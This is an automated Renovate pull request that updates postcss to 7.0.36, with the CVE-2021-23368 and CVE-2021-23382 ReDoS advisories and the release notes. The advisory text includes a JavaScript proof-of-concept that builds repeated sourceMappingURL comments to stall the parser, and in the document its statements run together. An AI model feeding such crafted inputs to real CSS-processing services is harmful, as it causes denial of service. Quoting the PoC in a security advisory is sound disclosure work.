fix(deps): update dependency postcss to v7.0.36 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
postcss (source)	7.0.21 -> 7.0.36

GitHub Vulnerability Alerts

CVE-2021-23368

The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.

CVE-2021-23382

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

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Release Notes

postcss/postcss (postcss)

v7.0.36

Compare Source

• Backport ReDoS vulnerabilities from PostCSS 8.

v7.0.35

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• Add migration guide link to PostCSS 8 error text.

v7.0.34

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• Fix compatibility with postcss-scss 2.

v7.0.33

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• Add error message for PostCSS 8 plugins.

v7.0.32

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• Fix error message (by @​admosity).

v7.0.31

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• Use only the latest source map annotation (by Emmanouil Zoumpoulakis).

v7.0.30

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• Fix TypeScript definition (by Natalie Weizenbaum).

v7.0.29

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• Update Processor#version.

v7.0.28

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• Fix TypeScript definition (by Natalie Weizenbaum).

v7.0.27

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• Fix TypeScript definition (by Natalie Weizenbaum).

v7.0.26

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• Fix TypeScript definition (by Natalie Weizenbaum).

v7.0.25

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• Fix absolute path support for Windows (by Tom Raviv).

v7.0.24

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• Fix TypeScript definition (by Keith Cirkel).

v7.0.23

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• Update Processor#version.

v7.0.22

Compare Source

• Add funding link for npm fund.

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